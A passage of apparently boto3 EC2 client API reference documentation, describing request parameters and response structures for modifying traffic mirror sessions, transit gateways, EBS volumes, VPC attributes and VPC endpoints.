rule. + + +modify_traffic_mirror_session(kwargs_) + +Modifies a Traffic Mirror session. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyTrafficMirrorSession) + +**Request Syntax** + +response = client.modify_traffic_mirror_session( + TrafficMirrorSessionId='string', + TrafficMirrorTargetId='string', + TrafficMirrorFilterId='string', + PacketLength=123, + SessionNumber=123, + VirtualNetworkId=123, + Description='string', + RemoveFields=[ + 'packet-length'|'description'|'virtual-network-id', + ], + DryRun=True|False +) + +Parameters + +* **TrafficMirrorSessionId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror session. + +* **TrafficMirrorTargetId** (_string_) -- The Traffic Mirror target. The target must be in the same VPC as the source, or have a VPC peering connection with the source. +* **TrafficMirrorFilterId** (_string_) -- The ID of the Traffic Mirror filter. +* **PacketLength** (_integer_) -- The number of bytes in each packet to mirror. These are bytes after the VXLAN header. To mirror a subset, set this to the length (in bytes) to mirror. For example, if you set this value to 100, then the first 100 bytes that meet the filter criteria are copied to the target. Do not specify this parameter when you want to mirror the entire packet. +* **SessionNumber** (_integer_) -- + + The session number determines the order in which sessions are evaluated when an interface is used by multiple sessions. The first session with a matching filter is the one that mirrors the packets. + + Valid values are 1-32766. + +* **VirtualNetworkId** (_integer_) -- The virtual network ID of the Traffic Mirror session. +* **Description** (_string_) -- The description to assign to the Traffic Mirror session. +* **RemoveFields** (_list_) -- + + The properties that you want to remove from the Traffic Mirror session. + + When you remove a property from a Traffic Mirror session, the property is set to the default. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorSession': { + 'TrafficMirrorSessionId': 'string', + 'TrafficMirrorTargetId': 'string', + 'TrafficMirrorFilterId': 'string', + 'NetworkInterfaceId': 'string', + 'OwnerId': 'string', + 'PacketLength': 123, + 'SessionNumber': 123, + 'VirtualNetworkId': 123, + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorSession** _(dict) --_ + + Information about the Traffic Mirror session. + + * **TrafficMirrorSessionId** _(string) --_ + + The ID for the Traffic Mirror session. + + * **TrafficMirrorTargetId** _(string) --_ + + The ID of the Traffic Mirror target. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the Traffic Mirror session's network interface. + + * **OwnerId** _(string) --_ + + The ID of the account that owns the Traffic Mirror session. + + * **PacketLength** _(integer) --_ + + The number of bytes in each packet to mirror. These are the bytes after the VXLAN header. To mirror a subset, set this to the length (in bytes) to mirror. For example, if you set this value to 100, then the first 100 bytes that meet the filter criteria are copied to the target. Do not specify this parameter when you want to mirror the entire packet + + * **SessionNumber** _(integer) --_ + + The session number determines the order in which sessions are evaluated when an interface is used by multiple sessions. The first session with a matching filter is the one that mirrors the packets. + + Valid values are 1-32766. + + * **VirtualNetworkId** _(integer) --_ + + The virtual network ID associated with the Traffic Mirror session. + + * **Description** _(string) --_ + + The description of the Traffic Mirror session. + + * **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror session. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +modify_transit_gateway(kwargs_) + +Modifies the specified transit gateway. When you modify a transit gateway, the modified options are applied to new transit gateway attachments only. Your existing transit gateway attachments are not modified. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyTransitGateway) + +**Request Syntax** + +response = client.modify_transit_gateway( + TransitGatewayId='string', + Description='string', + Options={ + 'AddTransitGatewayCidrBlocks': [ + 'string', + ], + 'RemoveTransitGatewayCidrBlocks': [ + 'string', + ], + 'VpnEcmpSupport': 'enable'|'disable', + 'DnsSupport': 'enable'|'disable', + 'AutoAcceptSharedAttachments': 'enable'|'disable', + 'DefaultRouteTableAssociation': 'enable'|'disable', + 'AssociationDefaultRouteTableId': 'string', + 'DefaultRouteTablePropagation': 'enable'|'disable', + 'PropagationDefaultRouteTableId': 'string' + }, + DryRun=True|False +) + +Parameters + +* **TransitGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway. + +* **Description** (_string_) -- The description for the transit gateway. +* **Options** (_dict_) -- + + The options to modify. + + * **AddTransitGatewayCidrBlocks** _(list) --_ + + Adds IPv4 or IPv6 CIDR blocks for the transit gateway. Must be a size /24 CIDR block or larger for IPv4, or a size /64 CIDR block or larger for IPv6. + + * _(string) --_ + * **RemoveTransitGatewayCidrBlocks** _(list) --_ + + Removes CIDR blocks for the transit gateway. + + * _(string) --_ + * **VpnEcmpSupport** _(string) --_ + + Enable or disable Equal Cost Multipath Protocol support. + + * **DnsSupport** _(string) --_ + + Enable or disable DNS support. + + * **AutoAcceptSharedAttachments** _(string) --_ + + Enable or disable automatic acceptance of attachment requests. + + * **DefaultRouteTableAssociation** _(string) --_ + + Enable or disable automatic association with the default association route table. + + * **AssociationDefaultRouteTableId** _(string) --_ + + The ID of the default association route table. + + * **DefaultRouteTablePropagation** _(string) --_ + + Enable or disable automatic propagation of routes to the default propagation route table. + + * **PropagationDefaultRouteTableId** _(string) --_ + + The ID of the default propagation route table. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGateway': { + 'TransitGatewayId': 'string', + 'TransitGatewayArn': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Description': 'string', + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'AmazonSideAsn': 123, + 'TransitGatewayCidrBlocks': [ + 'string', + ], + 'AutoAcceptSharedAttachments': 'enable'|'disable', + 'DefaultRouteTableAssociation': 'enable'|'disable', + 'AssociationDefaultRouteTableId': 'string', + 'DefaultRouteTablePropagation': 'enable'|'disable', + 'PropagationDefaultRouteTableId': 'string', + 'VpnEcmpSupport': 'enable'|'disable', + 'DnsSupport': 'enable'|'disable', + 'MulticastSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGateway** _(dict) --_ + + Describes a transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **TransitGatewayArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway. + + * **State** _(string) --_ + + The state of the transit gateway. + + * **OwnerId** _(string) --_ + + The ID of the AWS account ID that owns the transit gateway. + + * **Description** _(string) --_ + + The description of the transit gateway. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The transit gateway options. + + * **AmazonSideAsn** _(integer) --_ + + A private Autonomous System Number (ASN) for the Amazon side of a BGP session. The range is 64512 to 65534 for 16-bit ASNs and 4200000000 to 4294967294 for 32-bit ASNs. + + * **TransitGatewayCidrBlocks** _(list) --_ + + The transit gateway CIDR blocks. + + * _(string) --_ + * **AutoAcceptSharedAttachments** _(string) --_ + + Indicates whether attachment requests are automatically accepted. + + * **DefaultRouteTableAssociation** _(string) --_ + + Indicates whether resource attachments are automatically associated with the default association route table. + + * **AssociationDefaultRouteTableId** _(string) --_ + + The ID of the default association route table. + + * **DefaultRouteTablePropagation** _(string) --_ + + Indicates whether resource attachments automatically propagate routes to the default propagation route table. + + * **PropagationDefaultRouteTableId** _(string) --_ + + The ID of the default propagation route table. + + * **VpnEcmpSupport** _(string) --_ + + Indicates whether Equal Cost Multipath Protocol support is enabled. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **MulticastSupport** _(string) --_ + + Indicates whether multicast is enabled on the transit gateway + + * **Tags** _(list) --_ + + The tags for the transit gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +modify_transit_gateway_prefix_list_reference(kwargs_) + +Modifies a reference (route) to a prefix list in a specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyTransitGatewayPrefixListReference) + +**Request Syntax** + +response = client.modify_transit_gateway_prefix_list_reference( + TransitGatewayRouteTableId='string', + PrefixListId='string', + TransitGatewayAttachmentId='string', + Blackhole=True|False, + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list. + +* **TransitGatewayAttachmentId** (_string_) -- The ID of the attachment to which traffic is routed. +* **Blackhole** (_boolean_) -- Indicates whether to drop traffic that matches this route. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPrefixListReference': { + 'TransitGatewayRouteTableId': 'string', + 'PrefixListId': 'string', + 'PrefixListOwnerId': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting', + 'Blackhole': True|False, + 'TransitGatewayAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceId': 'string' + } + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayPrefixListReference** _(dict) --_ + + Information about the prefix list reference. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **PrefixListOwnerId** _(string) --_ + + The ID of the prefix list owner. + + * **State** _(string) --_ + + The state of the prefix list reference. + + * **Blackhole** _(boolean) --_ + + Indicates whether traffic that matches this route is dropped. + + * **TransitGatewayAttachment** _(dict) --_ + + Information about the transit gateway attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +modify_transit_gateway_vpc_attachment(kwargs_) + +Modifies the specified VPC attachment. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyTransitGatewayVpcAttachment) + +**Request Syntax** + +response = client.modify_transit_gateway_vpc_attachment( + TransitGatewayAttachmentId='string', + AddSubnetIds=[ + 'string', + ], + RemoveSubnetIds=[ + 'string', + ], + Options={ + 'DnsSupport': 'enable'|'disable', + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **AddSubnetIds** (_list_) -- + + The IDs of one or more subnets to add. You can specify at most one subnet per Availability Zone. + + * _(string) --_ +* **RemoveSubnetIds** (_list_) -- + + The IDs of one or more subnets to remove. + + * _(string) --_ +* **Options** (_dict_) -- + + The new VPC attachment options. + + Note + + You cannot modify the IPv6 options. + + * **DnsSupport** _(string) --_ + + Enable or disable DNS support. The default is enable . + + * **Ipv6Support** _(string) --_ + + Enable or disable IPv6 support. The default is enable . + + * **ApplianceModeSupport** _(string) --_ + + Enable or disable support for appliance mode. If enabled, a traffic flow between a source and destination uses the same Availability Zone for the VPC attachment for the lifetime of that flow. The default is disable . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayVpcAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'VpcId': 'string', + 'VpcOwnerId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'SubnetIds': [ + 'string', + ], + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'DnsSupport': 'enable'|'disable', + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayVpcAttachment** _(dict) --_ + + Information about the modified attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **VpcOwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + * **State** _(string) --_ + + The state of the VPC attachment. Note that the initiating state has been deprecated. + + * **SubnetIds** _(list) --_ + + The IDs of the subnets. + + * _(string) --_ + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The VPC attachment options. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **Ipv6Support** _(string) --_ + + Indicates whether IPv6 support is disabled. + + * **ApplianceModeSupport** _(string) --_ + + Indicates whether appliance mode support is enabled. + + * **Tags** _(list) --_ + + The tags for the VPC attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +modify_volume(kwargs_) + +You can modify several parameters of an existing EBS volume, including volume size, volume type, and IOPS capacity. If your EBS volume is attached to a current-generation EC2 instance type, you might be able to apply these changes without stopping the instance or detaching the volume from it. For more information about modifying an EBS volume running Linux, see [Modifying the size, IOPS, or type of an EBS volume on Linux](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-expand-volume.html) . For more information about modifying an EBS volume running Windows, see [Modifying the size, IOPS, or type of an EBS volume on Windows](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ebs-expand-volume.html) . + +When you complete a resize operation on your volume, you need to extend the volume's file-system size to take advantage of the new storage capacity. For information about extending a Linux file system, see [Extending a Linux file system](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-expand-volume.html#recognize-expanded-volume-linux) . For information about extending a Windows file system, see [Extending a Windows file system](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ebs-expand-volume.html#recognize-expanded-volume-windows) . + +You can use CloudWatch Events to check the status of a modification to an EBS volume. For information about CloudWatch Events, see the [Amazon CloudWatch Events User Guide](https://docs.aws.amazon.com/AmazonCloudWatch/latest/events/) . You can also track the status of a modification using DescribeVolumesModifications . For information about tracking status changes using either method, see [Monitoring volume modifications](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-expand-volume.html#monitoring_mods) . + +With previous-generation instance types, resizing an EBS volume might require detaching and reattaching the volume or stopping and restarting the instance. For more information, see [Amazon EBS Elastic Volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modify-volume.html) (Linux) or [Amazon EBS Elastic Volumes](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ebs-modify-volume.html) (Windows). + +If you reach the maximum volume modification rate per volume limit, you will need to wait at least six hours before applying further modifications to the affected EBS volume. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVolume) + +**Request Syntax** + +response = client.modify_volume( + DryRun=True|False, + VolumeId='string', + Size=123, + VolumeType='standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + Iops=123, + Throughput=123, + MultiAttachEnabled=True|False +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + +* **Size** (_integer_) -- + + The target size of the volume, in GiB. The target volume size must be greater than or equal to the existing size of the volume. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 : 1-16,384 + * io1 and io2 : 4-16,384 + * st1 and sc1 : 125-16,384 + * standard : 1-1,024 + + Default: If no size is specified, the existing size is retained. + +* **VolumeType** (_string_) -- + + The target EBS volume type of the volume. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: If no type is specified, the existing type is retained. + +* **Iops** (_integer_) -- + + The target IOPS rate of the volume. This parameter is valid only for gp3 , io1 , and io2 volumes. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + Default: If no IOPS value is specified, the existing value is retained. + +* **Throughput** (_integer_) -- + + The target throughput of the volume, in MiB/s. This parameter is valid only for gp3 volumes. The maximum value is 1,000. + + Default: If no throughput value is specified, the existing value is retained. + + Valid Range: Minimum value of 125. Maximum value of 1000. + +* **MultiAttachEnabled** (_boolean_) -- Specifies whether to enable Amazon EBS Multi-Attach. If you enable Multi-Attach, you can attach the volume to up to 16 [Nitro-based instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) in the same Availability Zone. This parameter is supported with io1 and io2 volumes only. For more information, see [Amazon EBS Multi-Attach](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volumes-multi.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VolumeModification': { + 'VolumeId': 'string', + 'ModificationState': 'modifying'|'optimizing'|'completed'|'failed', + 'StatusMessage': 'string', + 'TargetSize': 123, + 'TargetIops': 123, + 'TargetVolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'TargetThroughput': 123, + 'TargetMultiAttachEnabled': True|False, + 'OriginalSize': 123, + 'OriginalIops': 123, + 'OriginalVolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'OriginalThroughput': 123, + 'OriginalMultiAttachEnabled': True|False, + 'Progress': 123, + 'StartTime': datetime(2015, 1, 1), + 'EndTime': datetime(2015, 1, 1) + } +} + +**Response Structure** + +* _(dict) --_ + + * **VolumeModification** _(dict) --_ + + Information about the volume modification. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **ModificationState** _(string) --_ + + The current modification state. The modification state is null for unmodified volumes. + + * **StatusMessage** _(string) --_ + + A status message about the modification progress or failure. + + * **TargetSize** _(integer) --_ + + The target size of the volume, in GiB. + + * **TargetIops** _(integer) --_ + + The target IOPS rate of the volume. + + * **TargetVolumeType** _(string) --_ + + The target EBS volume type of the volume. + + * **TargetThroughput** _(integer) --_ + + The target throughput of the volume, in MiB/s. + + * **TargetMultiAttachEnabled** _(boolean) --_ + + The target setting for Amazon EBS Multi-Attach. + + * **OriginalSize** _(integer) --_ + + The original size of the volume, in GiB. + + * **OriginalIops** _(integer) --_ + + The original IOPS rate of the volume. + + * **OriginalVolumeType** _(string) --_ + + The original EBS volume type of the volume. + + * **OriginalThroughput** _(integer) --_ + + The original throughput of the volume, in MiB/s. + + * **OriginalMultiAttachEnabled** _(boolean) --_ + + The original setting for Amazon EBS Multi-Attach. + + * **Progress** _(integer) --_ + + The modification progress, from 0 to 100 percent complete. + + * **StartTime** _(datetime) --_ + + The modification start time. + + * **EndTime** _(datetime) --_ + + The modification completion or failure time. + + +modify_volume_attribute(kwargs_) + +Modifies a volume attribute. + +By default, all I/O operations for the volume are suspended when the data on the volume is determined to be potentially inconsistent, to prevent undetectable, latent data corruption. The I/O access to the volume can be resumed by first enabling I/O access and then checking the data consistency on your volume. + +You can change the default behavior to resume I/O operations. We recommend that you change this only for boot volumes or for volumes that are stateless or disposable. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVolumeAttribute) + +**Request Syntax** + +response = client.modify_volume_attribute( + AutoEnableIO={ + 'Value': True|False + }, + VolumeId='string', + DryRun=True|False +) + +Parameters + +* **AutoEnableIO** (_dict_) -- + + Indicates whether the volume should be auto-enabled for I/O operations. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example sets the autoEnableIo attribute of the volume with the ID vol-1234567890abcdef0 to true. If the command succeeds, no output is returned. + +response = client.modify_volume_attribute( + AutoEnableIO={ + 'Value': True, + }, + DryRun=True, + VolumeId='vol-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_vpc_attribute(kwargs_) + +Modifies the specified attribute of the specified VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcAttribute) + +**Request Syntax** + +response = client.modify_vpc_attribute( + EnableDnsHostnames={ + 'Value': True|False + }, + EnableDnsSupport={ + 'Value': True|False + }, + VpcId='string' +) + +Parameters + +* **EnableDnsHostnames** (_dict_) -- + + Indicates whether the instances launched in the VPC get DNS hostnames. If enabled, instances in the VPC get DNS hostnames; otherwise, they do not. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. You can only enable DNS hostnames if you've enabled DNS support. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **EnableDnsSupport** (_dict_) -- + + Indicates whether the DNS resolution is supported for the VPC. If enabled, queries to the Amazon provided DNS server at the 169.254.169.253 IP address, or the reserved IP address at the base of the VPC network range "plus two" succeed. If disabled, the Amazon provided DNS service in the VPC that resolves public DNS hostnames to IP addresses is not enabled. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +**Examples** + +This example modifies the enableDnsSupport attribute. This attribute indicates whether DNS resolution is enabled for the VPC. If this attribute is true, the Amazon DNS server resolves DNS hostnames for instances in the VPC to their corresponding IP addresses; otherwise, it does not. + +response = client.modify_vpc_attribute( + EnableDnsSupport={ + 'Value': False, + }, + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example modifies the enableDnsHostnames attribute. This attribute indicates whether instances launched in the VPC get DNS hostnames. If this attribute is true, instances in the VPC get DNS hostnames; otherwise, they do not. + +response = client.modify_vpc_attribute( + EnableDnsHostnames={ + 'Value': False, + }, + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_vpc_endpoint(kwargs_) + +Modifies attributes of a specified VPC endpoint. The attributes that you can modify depend on the type of VPC endpoint (interface, gateway, or Gateway Load Balancer). For more information, see [VPC Endpoints](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-endpoints.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcEndpoint) + +**Request Syntax** + +response = client.modify_vpc_endpoint( + DryRun=True|False, + VpcEndpointId='string', + ResetPolicy=True|False, + PolicyDocument='string', + AddRouteTableIds=[ + 'string', + ], + RemoveRouteTableIds=[ + 'string', + ], + AddSubnetIds=[ + 'string', + ], + RemoveSubnetIds=[ + 'string', + ], + AddSecurityGroupIds=[ + 'string', + ], + RemoveSecurityGroupIds=[ + 'string', + ], + PrivateDnsEnabled=True|False +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the endpoint. + +* **ResetPolicy** (_boolean_) -- (Gateway endpoint) Specify true to reset the policy document to the default policy. The default policy allows full access to the service. +* **PolicyDocument** (_string_) -- (Interface and gateway endpoints) A policy to attach to the endpoint that controls access to the service. The policy must be in valid JSON format. +* **AddRouteTableIds** (_list_) -- + + (Gateway endpoint) One or more route tables IDs to associate with the endpoint. + + * _(string) --_ +* **RemoveRouteTableIds** (_list_) -- + + (Gateway endpoint) One or more route table IDs to disassociate from the endpoint. + + * _(string) --_ +* **AddSubnetIds** (_list_) -- + + (Interface and Gateway Load Balancer endpoints) One or more subnet IDs in which to serve the endpoint. For a Gateway Load Balancer endpoint, you can specify only one subnet. + + * _(string) --_ +* **RemoveSubnetIds** (_list_) -- + + (Interface endpoint) One or more subnets IDs in which to remove the endpoint. + + * _(string) --_ +* **AddSecurityGroupIds** (_list_) -- + + (Interface endpoint) One or more security group IDs to associate with the network interface. + + * _(string) --_ +* **RemoveSecurityGroupIds** (_list_) -- + + (Interface endpoint) One or more security group IDs to disassociate from the network interface. + + * _(string) --_ +* **PrivateDnsEnabled** (_boolean_) -- (Interface endpoint) Indicates whether a private hosted zone is associated with the VPC. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +modify_vpc_endpoint_connection_notification(kwargs_) + +Modifies a connection notification for VPC endpoint or VPC endpoint service. You can change the SNS topic for the notification, or the events for which to be notified. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcEndpointConnectionNotification) + +**Request Syntax** + +response = client.modify_vpc_endpoint_connection_notification( + DryRun=True|False, + ConnectionNotificationId='string', + ConnectionNotificationArn='string', + ConnectionEvents=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ConnectionNotificationId** (_string_) -- + + **[REQUIRED]** + + The ID of the notification. + +* **ConnectionNotificationArn** (_string_) -- The ARN for the SNS topic for the notification. +* **ConnectionEvents** (_list_) -- + + One or more events for the endpoint. Valid values are Accept , Connect , Delete , and Reject . + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReturnValue': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **ReturnValue** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +modify_vpc_endpoint_service_configuration(kwargs_) + +Modifies the attributes of your VPC endpoint service configuration. You can change the Network Load Balancers or Gateway Load Balancers for your service, and you can specify whether acceptance is required for requests to connect to your endpoint service through an interface VPC endpoint. + +If you set or modify the private DNS name, you must prove that you own the private DNS domain name. For more information, see [VPC Endpoint Service Private DNS Name Verification](https://docs.aws.amazon.com/vpc/latest/userguide/endpoint-services-dns-validation.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcEndpointServiceConfiguration) + +**Request Syntax** + +response = client.modify_vpc_endpoint_service_configuration( + DryRun=True|False, + ServiceId='string', + PrivateDnsName='string', + RemovePrivateDnsName=True|False, + AcceptanceRequired=True|False, + AddNetworkLoadBalancerArns=[ + 'string', + ], + RemoveNetworkLoadBalancerArns=[ + 'string', + ], + AddGatewayLoadBalancerArns=[ + 'string', + ], + RemoveGatewayLoadBalancerArns=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceId** (_string_) -- + + **[REQUIRED]** + + The ID of the service. + +* **PrivateDnsName** (_string_) -- (Interface endpoint configuration) The private DNS name to assign to the endpoint service. +* **RemovePrivateDnsName** (_boolean_) -- (Interface endpoint configuration) Removes the private DNS name of the endpoint service. +* **AcceptanceRequired** (_boolean_) -- Indicates whether requests to create an endpoint to your service must be accepted. +* **AddNetworkLoadBalancerArns** (_list_) -- + + The Amazon Resource Names (ARNs) of Network Load Balancers to add to your service configuration. + + * _(string) --_ +* **RemoveNetworkLoadBalancerArns** (_list_) -- + + The Amazon Resource Names (ARNs) of Network Load Balancers to remove from your service configuration. + + * _(string) --_ +* **AddGatewayLoadBalancerArns** (_list_) -- + + The Amazon Resource Names (ARNs) of Gateway Load Balancers to add to your service configuration. + + * _(string) --_ +* **RemoveGatewayLoadBalancerArns** (_list_) -- + + The Amazon Resource Names (ARNs) of Gateway Load Balancers to remove from your service configuration. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; 